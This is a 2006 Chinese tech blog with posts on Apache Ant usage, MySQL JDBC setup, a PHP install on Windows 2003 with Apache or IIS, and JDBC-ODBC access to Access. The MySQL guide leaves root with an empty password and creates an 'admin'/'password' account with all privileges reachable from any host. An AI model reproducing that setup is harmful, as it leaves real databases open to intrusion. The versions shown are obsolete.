简述:这是IBM出的一个框架。基于MVC模式,基于JAVA Application。推荐一篇介绍文章:http://www-900.ibm.com/developerWorks/cn/java/j-tcf1/index.shtml
收费:每个企业对象license:2000美元。

2006年05月14日

1. Ant是什么?
2. 安装Ant
3. 运行Ant
4. 编写build.xml
5. 内置task(internet)
6. EAR task(internet)
7. WAR task(internet)
8. JUnit task(internet)

——————————————————————————–

1.Ant是什么?
——————————————————————————–

Ant是一种基于Java的build工具。理论上来说,它有些类似于(Unix)C中的make ,但没有make的缺陷。

既然我们已经有了make, gnumake, nmake, jam以及其他的build工具为什么还要要一种新的build工具呢?因为Ant的原作者在多种(硬件)平台上开发软件时,无法忍受这些工具的限制和不便。类似于make的工具本质上是基于shell(语言)的:他们计算依赖关系,然后执行命令(这些命令与你在命令行敲的命令没太大区别)。这就意味着你可以很容易地通过使用OS特有的或编写新的(命令)程序扩展该工具;然而,这也意味着你将自己限制在了特定的OS,或特定的OS类型上,如Unix。

Makefile也很可恶。任何使用过他们的人都碰到过可恶的tab问题。Ant的原作者经常这样问自己:“是否我的命令不执行只是因为在我的tab前有一个空格?!!”。类似于jam的工具很好地处理了这类问题,但是(用户)必须记住和使用一种新的格式。

Ant就不同了。与基于shell命令的扩展模式不同,Ant用Java的类来扩展。(用户)不必编写shell命令,配置文件是基于XML的,通过调用target树,就可执行各种task。每个task由实现了一个实现了特定Task接口的对象来运行。(如果你对Ant一点概念都没有的话,可能看不懂这一节,没有关系,后面会对target,task做详细的介绍。你如果没有太多的时间甚至可以略过这一节,然后再回来浏览一下这里的介绍,那时你就会看懂了。同样,如果你对make之类的工具不熟悉也没关系,下面的介绍根本不会用到make中的概念。)

必须承认,这样做,在构造shell命令时会失去一些特有的表达能力。如`find . -name foo -exec rm {}`,但却给了你跨平台的能力-你可以在任何地方工作。如果你真的需要执行一些shell命令,Ant有一个<exec> task,这个task允许执行特定OS上的命令。

2.安装Ant
——————————————————————————–

由于Ant是一个Open Source的软件,所以有两种安装Ant的方式,一种是用已编译好的binary 文件安装Ant,另一种是用源代码自己build Ant。

binary 形式的Ant可以从http://jakarta.apache.org/builds/ant/release/v1.4.1/bin下载。如果你希望你能自己编译Ant,则可从 http://jakarta.apache.org/builds/ant/release/v1.4.1/src。注意所列出的连接都是最新发行版的Ant。如果你读到此文时,发现已经有了更新的版本,那么请用新版本。如果你是一个疯狂的技术追求者,你也可以从Ant CVS repository下载最新版本的Ant。

系统需求

要想自己build Ant。你需要一个JAXP兼容的XML解析器(parser)放在你的CLASSPATH系统变量中。

binary 形式的Ant包括最新版的Apache Crimson XML解析器。你可以从http://java.sun.com/xml/ 得到更多的关于JAXP的信息。如果你希望使用其他的JAXP兼容的解析器。你要从Ant的lib目录中删掉jaxp.jar以及crimson.jar。然后你可将你心爱的解析器的jar文件放到Ant的lib目录中或放在你的CLASSPATH系统变量中。

对于当前版本的Ant,需要你的系统中有JDK,1.1版或更高。未来的Ant版本会要求使用JDK 1.2或更高版本。

安装Ant

binary 版的Ant包括三个目录:bin, docs 和lib。只有bin和lib目录是运行Ant所需的。要想安装Ant,选择一个目录并将发行版的文件拷贝到该目录下。这个目录被称作ANT_HOME。

在你运行Ant之前需要做一些配置工作。

将bin目录加入PATH环境变量。
设定ANT_HOME环境变量,指向你安装Ant的目录。在一些OS上,Ant的脚本可以猜测ANT_HOME(Unix和Windos NT/2000)-但最好不要依赖这一特性。
可选地,设定JAVA_HOME环境变量(参考下面的高级小节),该变量应该指向你安装JDK的目录。

注意:不要将Ant的ant.jar文件放到JDK/JRE的lib/ext目录下。Ant是个应用程序,而lib/ext目录是为JDK扩展使用的(如JCE,JSSE扩展)。而且通过扩展装入的类会有安全方面的限制。

可选Task

Ant支持一些可选task。一个可选task一般需要额外的库才能工作。可选task与Ant的内置task分开,单独打包。这个可选包可以从你下载Ant的同一个地方下载。目前包含可选task的jar文件名叫jakarta-ant-1.4.1-optional.jar。这个jar文件应该放到Ant安装目录的lib目录下。

每个可选task所需的外部库可参看依赖库小节。这些外部库可以放到Ant的lib目录下,这样Ant就能自动装入,或者将其放入环境变量中。

Windows

假定Ant安装在c:\ant\目录下。下面是设定环境的命令:

set ANT_HOME=c:\ant
set JAVA_HOME=c:\jdk1.2.2
set PATH=%PATH%;%ANT_HOME%\bin
Unix (bash)

假定Ant安装在/usr/local/ant目录下。下面是设定环境的命令:

export ANT_HOME=/usr/local/ant
export JAVA_HOME=/usr/local/jdk-1.2.2
export PATH=${PATH}:${ANT_HOME}/bin
高级

要想运行Ant必须使用很多的变量。你至少参考需要下面的内容:

Ant的CLASSPATH必须包含ant.jar以及你所选的JAXP兼容的XML解析器的jar文件。
当你需要JDK的功能(如javac或rmic task)时,对于JDK 1.1,JDK的classes.zip文件必须放入CLASSPATH中;对于JDK 1.2或JDK 1.3,则必须加入tools.jar。如果设定了正确的JAVA_HOME环境变量,Ant所带的脚本,在bin目录下,会自动加入所需的JDK类。
当你执行特定平台的程序(如exec task或cvs task)时,必须设定ant.home属性指向Ant的安装目录。同样,Ant所带的脚本利用ANT_HOME环境变量自动设置该属性。
Building Ant

要想从源代码build Ant,你要先安装Ant源代码发行版或从CVS中checkout jakarta-ant模块。

安装好源代码后,进入安装目录。

设定JAVA_HOME环境变量指向JDK的安装目录。要想知道怎么做请参看安装Ant小节。

确保你已下载了任何辅助jar文件,以便build你所感兴趣的task。这些jar文件可以放在CLASSPATH中,也可以放在lib/optional目录下。参看依赖库小节可知不同的task需要那些jar文件。注意这些jar文件只是用作build Ant之用。要想运行Ant,你还要像安装Ant小节中所做的那样设定这些jar文件。

现在你可以build Ant了:

build -Ddist.dir=<directory_to_contain_Ant_distribution> dist (Windows)
build.sh -Ddist.dir=<directory_to_contain_Ant_distribution> dist (Unix)

这样就可你指定的目录中创建一个binary版本。

上面的命令执行下面的动作:

如果有必要可以bootstrap Ant的代码。bootstrap 包括手工编辑一些Ant代码以便运行Ant。bootstrap 用于下面的build步骤。
向build脚本传递参数以调用bootstrap Ant。参数定义了Ant的属性值并指定了Ant自己的build.xml文件的"dist" target。

大多数情况下,你不必直接bootstrap Ant,因为build脚本为你完成这一切。运行bootstrap.bat (Windows) 或 bootstrap.sh (UNIX) 可以build一个新的bootstrap版Ant。


如果你希望将Ant安装到ANT_HOME目录下,你可以使用:

build install (Windows)
build.sh install (Unix)

如果你希望跳过冗长的Javadoc步骤,可以用:

build install-lite (Windows)
build.sh install-lite (Unix)

这样就只会安装bin和lib目录。

注意install和install-lite都会覆盖ANT_HOME中的当前Ant版本。

依赖库

如果你需要执行特定的task,你需要将对应的库放入CLASSPATH或放到Ant安装目录的lib目录下。注意使用mapper时只需要一个regexp库。同时,你也要安装Ant的可选jar包,它包含了task的定义。参考上面的安装Ant小节。

Jar Name Needed For Available At
An XSL transformer like Xalan or XSL:P style task http://xml.apache.org/xalan-j/index.html or http://www.clc-marketing.com/xslp/
jakarta-regexp-1.2.jar regexp type with mappers jakarta.apache.org/regexp/
jakarta-oro-2.0.1.jar regexp type with mappers and the perforce tasks jakarta.apache.org/oro/
junit.jar junit tasks www.junit.org
stylebook.jar stylebook task CVS repository of xml.apache.org
testlet.jar test task java.apache.org/framework
antlr.jar antlr task www.antlr.org
bsf.jar script task oss.software.ibm.com/developerworks/projects/bsf
netrexx.jar netrexx task www2.hursley.ibm.com/netrexx
rhino.jar javascript with script task www.mozilla.org
jpython.jar python with script task www.jpython.org
netcomponents.jar ftp and telnet tasks www.savarese.org/oro/downloads

3.运行Ant
——————————————————————————–

运行Ant非常简单,当你正确地安装Ant后,只要输入ant就可以了。

没有指定任何参数时,Ant会在当前目录下查询build.xml文件。如果找到了就用该文件作为buildfile。如果你用 -find 选项。Ant就会在上级目录中寻找buildfile,直至到达文件系统的根。要想让Ant使用其他的buildfile,可以用参数 -buildfile file,这里file指定了你想使用的buildfile。

你也可以设定一些属性,以覆盖buildfile中指定的属性值(参看property task)。可以用 -Dproperty=value 选项,这里property是指属性的名称,而value则是指属性的值。也可以用这种办法来指定一些环境变量的值。你也可以用property task来存取环境变量。只要将 -DMYVAR=%MYVAR% (Windows) 或 -DMYVAR=$MYVAR (Unix) 传递给Ant -你就可以在你的buildfile中用${MYVAR}来存取这些环境变量。

还有两个选项 -quite,告诉Ant运行时只输出少量的必要信息。而 -verbose,告诉Ant运行时要输出更多的信息。

可以指定执行一个或多个target。当省略target时,Ant使用标签<project>的default属性所指定的target。

如果有的话,-projecthelp 选项输出项目的描述信息和项目target的列表。先列出那些有描述的,然后是没有描述的target。

命令行选项总结:

ant [options] [target [target2 [target3] …]]
Options:
-help print this message
-projecthelp print project help information
-version print the version information and exit
-quiet be extra quiet
-verbose be extra verbose
-debug print debugging information
-emacs produce logging information without adornments
-logfile file use given file for log output
-logger classname the class that is to perform logging
-listener classname add an instance of class as a project listener
-buildfile file use specified buildfile
-find file search for buildfile towards the root of the filesystem and use the first one found
-Dproperty=value set property to value
例子

ant

使用当前目录下的build.xml运行Ant,执行缺省的target。

ant -buildfile test.xml

使用当前目录下的test.xml运行Ant,执行缺省的target。

ant -buildfile test.xml dist

使用当前目录下的test.xml运行Ant,执行一个叫做dist的target。

ant -buildfile test.xml -Dbuild=build/classes dist

使用当前目录下的test.xml运行Ant,执行一个叫做dist的target,并设定build属性的值为build/classes。

文件

在Unix上,Ant的执行脚本在做任何事之前都会source(读并计算值)~/.antrc 文件;在Windows上,Ant的批处理文件会在开始时调用%HOME%\antrc_pre.bat,在结束时调用%HOME%\antrc_post.bat。你可以用这些文件配置或取消一些只有在运行Ant时才需要的环境变量。看下面的例子。

环境变量

包裹脚本(wrapper scripts)使用下面的环境变量(如果有的话):

JAVACMD Java可执行文件的绝对路径。用这个值可以指定一个不同于JAVA_HOME/bin/java(.exe)的JVM。
ANT_OPTS 传递给JVM的命令行变量-例如,你可以定义属性或设定Java堆的最大值

手工运行Ant

如果你自己动手安装(DIY)Ant,你可以用下面的命令启动Ant:

java -Dant.home=c:\ant org.apache.tools.ant.Main [options] [target]

这个命令与前面的ant命令一样。选项和target也和用ant命令时一样。这个例子假定你的CLASSPATH包含:

ant.jar

jars/classes for your XML parser

the JDK’s required jar/zip files

4.编写build.xml
——————————————————————————–

Ant的buildfile是用XML写的。每个buildfile含有一个project。

buildfile中每个task元素可以有一个id属性,可以用这个id值引用指定的任务。这个值必须是唯一的。(详情请参考下面的Task小节)

Projects

project有下面的属性:

Attribute Description Required
name 项目名称. No
default 当没有指定target时使用的缺省target Yes
basedir 用于计算所有其他路径的基路径。该属性可以被basedir property覆盖。当覆盖时,该属性被忽略。如果属性和basedir property都没有设定,就使用buildfile文件的父目录。 No

项目的描述以一个顶级的<description>元素的形式出现(参看description小节)。

一个项目可以定义一个或多个target。一个target是一系列你想要执行的。执行Ant时,你可以选择执行那个target。当没有给定target时,使用project的default属性所确定的target。

Targets

一个target可以依赖于其他的target。例如,你可能会有一个target用于编译程序,一个target用于生成可执行文件。你在生成可执行文件之前必须先编译通过,所以生成可执行文件的target依赖于编译target。Ant会处理这种依赖关系。

然而,应当注意到,Ant的depends属性只指定了target应该被执行的顺序-如果被依赖的target无法运行,这种depends对于指定了依赖关系的target就没有影响。

Ant会依照depends属性中target出现的顺序(从左到右)依次执行每个target。然而,要记住的是只要某个target依赖于一个target,后者就会被先执行。

<target name="A"/>
<target name="B" depends="A"/>
<target name="C" depends="B"/>
<target name="D" depends="C,B,A"/>

假定我们要执行target D。从它的依赖属性来看,你可能认为先执行C,然后B,最后A被执行。错了,C依赖于B,B依赖于A,所以先执行A,然后B,然后C,最后D被执行。

一个target只能被执行一次,即时有多个target依赖于它(看上面的例子)。

如果(或如果不)某些属性被设定,才执行某个target。这样,允许根据系统的状态(java version, OS, 命令行属性定义等等)来更好地控制build的过程。要想让一个target这样做,你就应该在target元素中,加入if(或unless)属性,带上target因该有所判断的属性。例如:

<target name="build-module-A" if="module-A-present"/>
<target name="build-own-fake-module-A" unless="module-A-present"/>

如果没有if或unless属性,target总会被执行。

可选的description属性可用来提供关于target的一行描述,这些描述可由-projecthelp命令行选项输出。

将你的tstamp task在一个所谓的初始化target是很好的做法,其他的target依赖这个初始化target。要确保初始化target是出现在其他target依赖表中的第一个target。在本手册中大多数的初始化target的名字是"init"。

target有下面的属性:

Attribute Description Required
name target的名字 Yes
depends 用逗号分隔的target的名字列表,也就是依赖表。 No
if 执行target所需要设定的属性名。 No
unless 执行target需要清除设定的属性名。 No
description 关于target功能的简短描述。 No

Tasks

一个task是一段可执行的代码。

一个task可以有多个属性(如果你愿意的话,可以将其称之为变量)。属性只可能包含对property的引用。这些引用会在task执行前被解析。

下面是Task的一般构造形式:

<name attribute1="value1" attribute2="value2" … />

这里name是task的名字,attributeN是属性名,valueN是属性值。

有一套内置的(built-in)task,以及一些可选task,但你也可以编写自己的task。

所有的task都有一个task名字属性。Ant用属性值来产生日志信息。

可以给task赋一个id属性:

<taskname id="taskID" … />

这里taskname是task的名字,而taskID是这个task的唯一标识符。通过这个标识符,你可以在脚本中引用相应的task。例如,在脚本中你可以这样:

<script … >
task1.setFoo("bar");
</script>

设定某个task实例的foo属性。在另一个task中(用java编写),你可以利用下面的语句存取相应的实例。

project.getReference("task1").

注意1:如果task1还没有运行,就不会被生效(例如:不设定属性),如果你在随后配置它,你所作的一切都会被覆盖。

注意2:未来的Ant版本可能不会兼容这里所提的属性,因为很有可能根本没有task实例,只有proxies。

Properties

一个project可以有很多的properties。可以在buildfile中用property task来设定,或在Ant之外设定。一个property有一个名字和一个值。property可用于task的属性值。这是通过将属性名放在"${"和"}"之间并放在属性值的位置来实现的。例如如果有一个property builddir的值是"build",这个property就可用于属性值:${builddir}/classes。这个值就可被解析为build/classes。

内置属性

如果你使用了<property> task 定义了所有的系统属性,Ant允许你使用这些属性。例如,${os.name}对应操作系统的名字。

要想得到系统属性的列表可参考the Javadoc of System.getProperties。

除了Java的系统属性,Ant还定义了一些自己的内置属性:
basedir project基目录的绝对路径 (与<project>的basedir属性一样)。
ant.file buildfile的绝对路径。
ant.version Ant的版本。
ant.project.name 当前执行的project的名字;由<project>的name属性设定.
ant.java.version Ant检测到的JVM的版本; 目前的值有"1.1", "1.2", "1.3" and "1.4".

例子

<project name="MyProject" default="dist" basedir=".">

<!– set global properties for this build –>
<property name="src" value="."/>
<property name="build" value="build"/>
<property name="dist" value="dist"/>

<target name="init">
<!– Create the time stamp –>
<tstamp/>
<!– Create the build directory structure used by compile –>
<mkdir dir="${build}"/>
</target>

<target name="compile" depends="init">
<!– Compile the java code from ${src} into ${build} –>
<javac srcdir="${src}" destdir="${build}"/>
</target>

<target name="dist" depends="compile">
<!– Create the distribution directory –>
<mkdir dir="${dist}/lib"/>
<!– Put everything in ${build} into the MyProject-${DSTAMP}.jar file –>
<jar jarfile="${dist}/lib/MyProject-${DSTAMP}.jar" basedir="${build}"/>
</target>

<target name="clean">
<!– Delete the ${build} and ${dist} directory trees –>
<delete dir="${build}"/>
<delete dir="${dist}"/>
</target>

</project>

Token Filters

一个project可以有很多tokens,这些tokens在文件拷贝时会被自动扩展,这要求在支持这一行为的task中选择过滤拷贝功能。这一功能可用filter task在buildfile中设定。

既然这很可能是一个有危害的行为,文件中的tokens必须采取@token@的形式,这里token是filter task中设定的token名。这种token语法与其他build系统执行类似filtering的语法相同,而且与大多数的编程和脚本语言以及文档系统并不冲突,

注意:如果在一个文件中发现了一个@token@形式的token,但没有filter与这个token关连,则不会发生任何事;因此,没有转义方法-但只要你为token选择合适的名字,就不会产生问题。

警告:如果你在拷贝binary文件时打开filtering功能,你有可能破坏文件。这个功能只针对文本文件。

Path-like Structures
你可以用":"和";"作为分隔符,指定类似PATH和CLASSPATH的引用。Ant会把分隔符转换为当前系统所用的分隔符。

当需要指定类似路径的值时,可以使用嵌套元素。一般的形式是

<classpath>
<pathelement path="${classpath}"/>
<pathelement location="lib/helper.jar"/>
</classpath>
location属性指定了相对于project基目录的一个文件和目录,而path属性接受逗号或分号分隔的一个位置列表。path属性一般用作预定义的路径--其他情况下,应该用多个location属性。

为简洁起见,classpath标签支持自己的path和location属性。所以:

<classpath>
<pathelement path="${classpath}"/>
</classpath>
可以被简写作:

<classpath path="${classpath}"/>
也可通过<fileset>元素指定路径。构成一个fileset的多个文件加入path-like structure的顺序是未定的。

<classpath>
<pathelement path="${classpath}"/>
<fileset dir="lib">
<include name="**/*.jar"/>
</fileset>
<pathelement location="classes"/>
</classpath>
上面的例子构造了一个路径值包括:${classpath}的路径,跟着lib目录下的所有jar文件,接着是classes目录。

如果你想在多个task中使用相同的path-like structure,你可以用<path>元素定义他们(与target同级),然后通过id属性引用--参考Referencs例子。

path-like structure可能包括对另一个path-like structurede的引用(通过嵌套<path>元素):

<path id="base.path">
<pathelement path="${classpath}"/>
<fileset dir="lib">
<include name="**/*.jar"/>
</fileset>
<pathelement location="classes"/>
</path>
<path id="tests.path">
<path refid="base.path"/>
<pathelement location="testclasses"/>
</path>

前面所提的关于<classpath>的简洁写法对于<path>也是有效的,如:

<path id="tests.path">
<path refid="base.path"/>
<pathelement location="testclasses"/>
</path>
可写成:

<path id="base.path" path="${classpath}"/>
命令行变量

有些task可接受参数,并将其传递给另一个进程。为了能在变量中包含空格字符,可使用嵌套的arg元素。

Attribute Description Required
value 一个命令行变量;可包含空格字符。 只能用一个
line 空格分隔的命令行变量列表。
file 作为命令行变量的文件名;会被文件的绝对名替代。
path 一个作为单个命令行变量的path-like的字符串;或作为分隔符,Ant会将其转变为特定平台的分隔符。

例子

<arg value="-l -a"/>
是一个含有空格的单个的命令行变量。

<arg line="-l -a"/>
是两个空格分隔的命令行变量。

<arg path="/dir;/dir2:\dir3"/>
是一个命令行变量,其值在DOS系统上为\dir;\dir2;\dir3;在Unix系统上为/dir:/dir2:/dir3 。

References

buildfile元素的id属性可用来引用这些元素。如果你需要一遍遍的复制相同的XML代码块,这一属性就很有用--如多次使用<classpath>结构。

下面的例子:

<project … >
<target … >
<rmic …>
<classpath>
<pathelement location="lib/"/>
<pathelement path="${java.class.path}/"/>
<pathelement path="${additional.path}"/>
</classpath>
</rmic>
</target>
<target … >
<javac …>
<classpath>
<pathelement location="lib/"/>
<pathelement path="${java.class.path}/"/>
<pathelement path="${additional.path}"/>
</classpath>
</javac>
</target>
</project>
可以写成如下形式:

<project … >
<path id="project.class.path">
<pathelement location="lib/"/>
<pathelement path="${java.class.path}/"/>
<pathelement path="${additional.path}"/>
</path>
<target … >
<rmic …>
<classpath refid="project.class.path"/>
</rmic>
</target>
<target … >
<javac …>
<classpath refid="project.class.path"/>
</javac>
</target>
</project>
所有使用PatternSets, FileSets 或 path-like structures嵌套元素的task也接受这种类型的引用。

2006年05月12日

与Mysql数据库连接:  
   
  1、安装mysql数据库,设置数据库的用户名为root,密码为空;  
  2、将mysql-connector-java-3.0.8-stable.zip压缩包解压,然后将里面的文件       mysql-connector-java-3.0.8-stable-bin.jar拷贝到以下目录下:拷贝到你安装的j2sdk1.4.1_01\jre\lib\ext下,然后在Classpath中增加此路径,例如你的j2sdk安装在D盘,则加入:d:\j2sdk1.4.1_01\jre\lib\ext;(在服务器情况下,把该驱动放到$TOMCAT_HOME/common/lib/下,并把该目录放到classpath中);  
  3、找一个mysql数据库的前端控制软件,例如:mysql_man、MySQL   Studio   V5.0等;  
  4、用这个软件添加两个用户:  
        是你没有创建MYSQL的用户,  
        创建一个用户如:UserName:admin    
                                        Pass:password  
                                        FromHost:%  
        还需要创建一个可以访问本地数据库的相同用户:  
                                  UserName:admin  
                                  Pass:password  
                                  FromHost:localhost  
          例如用MySQL   Studio   V5.0   ,安装进入后点击Connections,输入相关信息,测试通过后点击Save。进入后点击工具栏上的Manage   Users添加相关的两个用户,并赋两者所有权限。  
  5、然后就可以用新建的用户连接数据库!  
   
  6、也可更改root的密码!更改(密码不再为空)以后在控制软件上以root用户将连接不上数据库,可以新建的用户连接!  
   
  7、用DriverManager登记mm.mysql    
  mm.mysql的class名为org.gjt.mm.mysql.Driver,登记时必须写成    
  Class.forName("org.gjt.mm.mysql.Driver").newInstance();    
   
  8、jdbc   url参数说明    
  url格式:jdbc:mysql://[hostname][:port]/dbname[?param1=value1][&para;m2=value2]…    
  参数名   取值   缺省    
  user   数据库用户名   无    
  password   数据库用户口令   无    
  autoReconnect   当数据库连接丢失时是否自动连接,取值true/false   false    
  maxReconnects   如果autoReconnect为true,此参数为重试次数,缺省为3次   3    
  initialTimeout   如果autoReconnect为true,此参数为重新连接前等待的秒数   2    
  maxRows   设置查询时返回的行数,0表示全部   0    
  useUnicode   是否使用unicode输出,true/false   false    
  characterEncoding   如果useUnicode,该参数制定encoding类型,建议使用8859_1   无    
   
  9、提示    
  同时使用useUnicode,characterEncoding,能解决数据库输出时的中文问题    
  如:jdbc:mysql://localhost/test?user=root&useUnicode=true;characterEncoding=8859_1    
   
   
   
  10、把sql语句、文件和数据导入mysql数据库中的某个数据库的语法是:  
      1、打开DOS命令行;  
      2、进入mysql\bin目录;  
      3、输入:mysql   -u   mysql   -p   test<ntsky.sql  
                      -u后面的mysql是数据库的用户名,test是mysql中的相关数据库,ntsky.sql是数据库文件。回车后回提示你输入密码,把对应的密码输入即可

2006年05月08日

Windows2003下搭建PHP环境

本例所用到的软件:
apache_2.0.55-win32-x86-no_ssl.msi
php-5.1.2-Win32.zip


将PHP文件包解压到D:\PHP,可以选择其它的路径但最好不要用中间有空格的路径(例如:C:\Program Files\PHP 就不太好),如果这样做有些 web 服务器会崩溃。
在D:\PHP目录中找到php.ini-recommended,并更名为php.ini;

要让 php5ts.dll 能正确被搜索到,有三个选择:复制该文件到 Windows 系统目录,复制该文件到 web 服务器的目录,或者把 PHP 目录(例如 D:\php)添加到 PATH 环境变量中。为了将来更好的维护,建议使用最后一个选择,将 PHP 目录添加到 PATH 环境变量中,因为这样更便于将来升级 PHP。
桌面右键单击“我的电脑”–“属性”
选择“高级”标签页
点击“环境变量”按钮
在“系统变量”栏中
找到 Path 这一项(可能需要向下滚动才能找到)
鼠标双击 Path 这一项
在最后加入你的 PHP 目录,包括前面的“;”(例如:;D:\php)
点击“确定”并重新启动电脑

确保在 php.ini 中正确设定了 extension_dir 和 doc_root 指令的值。这些指令依赖于 PHP 被安装的系统。在 PHP 5 中 extensions_dir 的一个取值例子是 "D:\php\ext",IIS 的 doc_root 的取值例子是 "c:\Inetpub\wwwroot"。
php在安装后是默认不支持读取mysql的,我们要修改php.ini文件,把
extension=php_mysql.dll
extension=php_gd2.dll
extension=php_mbstring.dll
前面的“;”去掉,注意,为了让php支持生成真彩图片,一般都要求支持gd2
找到
;session.save_path = "/tmp"
将’;'去掉 设置你保存session的目录,如 session.save_path = "D:/php/session_temp"
找到
;mbstring.language = Japanese
将’;'去掉改为mbstring.language = Chinese simplified
找到
;default_charset = "iso-8859-1"
将’;'去掉改为 default_charset = "gb2312"
找到
extension_dir = "./" 改为 extension_dir = "D:/php/ext"
 
用户(通常为 IUSR_MACHINENAME)需要能够读取各个文件和目录的权限,例如 php.ini,docroot 和 session 的 tmp 目录。


Apache + PHP
安装Apache,若是本机测试,
Network Domain 和 Server Name 均可填 localhost ;
安装目录可以改为D:\Apache
将以下几行加入到 D:\Apache\Apache2\conf 目录中的 httpd.conf 配置文件中以设定 Apache 2.0 的 PHP 模块:
LoadModule php5_module "D:/php/php5apache2.dll"
AddType application/x-httpd-php .php
# 配置 php.ini 的路径
PHPIniDir "D:/php"

配置apache里的httpd.conf
打开 D:\Apache\Apache2\conf\httpd.conf 这个文件 
找到 DocumentRoot "D:/Apache/Apache2/htdocs" 将其改为你的WEB目录(可不改)如我的为 DocumentRoot "D:/website"
找到 DirectoryIndex index.html index.html.var 在DirectoryIndex后面加入 index.php index.htm

打开浏览器,输入:http://localhost/,看到成功页面后,在 D:\Apache\Apache2\htdocs 下新建一个 phpinfo.php ,内容如下:
<?php
phpinfo();
?>
打开浏览器,输入:http://localhost/phpinfo.phphttp://localhost/phpinfo.php,将显示当前服务器所支持 PHP 的全部信息,可以看到 Server API的模式为:Apache 2.0 handler 。


IIS6.0 + PHP
1. PHP 可以安装为 CGI 或者 ISAPI 模块,建议使用后者。打开“IIS管理器”。然后右键点击 web 服务器节点(通常为“默认网站”),并选择“属性”。
要用 ISAPI 模块方式,按如下方法进行:
(如果不想用 PHP 进行 HTTP 认证,应该跳过这一步:在“ISAPI 筛选器”标签页中添加一个新的 ISAPI 筛选器。“筛选器名称”设为 PHP,“可执行文件”设为 php5isapi.dll 的路径。)

选择“主目录”标签页,然后进行:
将执行权限改为“纯脚本”
点“配置”按钮,选择“映射”标签页。点击“添加”按钮,将“可执行文件”指向适当的 ISAPI DLL。例如 PHP 5 的值是:D:\php\php5isapi.dll。在“扩展名”中填入 .php。选择“全部动作”(或者“限制为”留空),确定选中“脚本引擎”“检查文件是否存在”。点击“确定”。
完全停止 IIS(NET STOP iisadmin)
重新启动 IIS(NET START w3svc)

2. 打开 IIS 管理器,进入 web 服务扩展,点击“添加一个新的 web 服务扩展”,“扩展名”中输入名称,例如 PHP,再点击“添加”按钮,点击“浏览”选择 ISAPI 文件 php5isapi.dll 作为“文件路径”后点“确定”,然后选中“设置扩展状态为允许”并点“确定”。

要使用 index.php 作为默认文档,在“文档”标签页中选择“添加”。输入 index.php 并点“确定”。用上下箭头按钮调整顺序。这和在 Apache 中设定 DirectoryIndex 相似。

如果过些时候之后碰到 CPU 占用率达到 100%,则取消选中“缓存 ISAPI 应用程序”(“主目录”下点“配置”按钮”)。

3. 设定 PHPRC 环境变量:
桌面右键单击“我的电脑”–“属性”
选择“高级”标签页
点击“环境变量”按钮
在“系统变量”栏中
点击“新建”按钮并在“变量名”中输入“PHPRC”,在“变量值”中输入 php.ini 文件所在的目录(例如:D:\php)
点击“确定”并重新启动电脑

打开浏览器,输入:http://localhost/,看到成功页面后,在 C:\Inetpub\wwwroot 下新建一个 phpinfo.php ,内容如下:
<?php
phpinfo();
?>
打开浏览器,输入:http://localhost/phpinfo.phphttp://localhost/phpinfo.php,将显示当前服务器所支持 PHP 的全部信息,可以看到 Server API的模式为:ISAPI。

2006年04月24日

就编程来讲,对于sql server,微软提供了专门的jdbc驱动程序,也就是大家平常用的那三个jar文件。但access的编程可没那么豪华,现在可用的编程方法,只是提供一个jdbc-odbc桥接器进行连接,效率就不用说了哦。
  
  大概过程也略略罗嗦一下:
  1,创建制定数据库的URL:同时配置access数据源
  如: String url = "jdbc:odbc:Oblog";
  2,加载驱动程序
  Class.forName("sun.jdbc.odbc.JdbcOdbcDriver");
  3,创建连接
  Connection conn = DriverManager.getConnection(url, "user", "pwd");
  4,创建sql语句对象
  Statement stmt = conn.createStatement();
  5,执行sql语句
  stmt.execute(strSql.toString());

  干脆贴个例子:  

  //Select.java

  import java.sql.*;

  class Select{
  public static void main(){
  try{
  String url = "jdbc:odbc:wombat";
  Connection conn = DriverManager.getConnection(url,"user","pwd");
  Statement stmt = conn.createStatement();
  ResultSet rs = stmt.executeQuery("SELECT * FROM Table1");
  System.out.println("Got ResultSet Now");
  rs.beforeFirst();
  while(rs.next()){
  System.out.println(rs.getString(1));
  }
  stmt.close();
  conn.close();
  }
  catch(Exception ex){
  ex.printStackTrace();
  }
  }
  }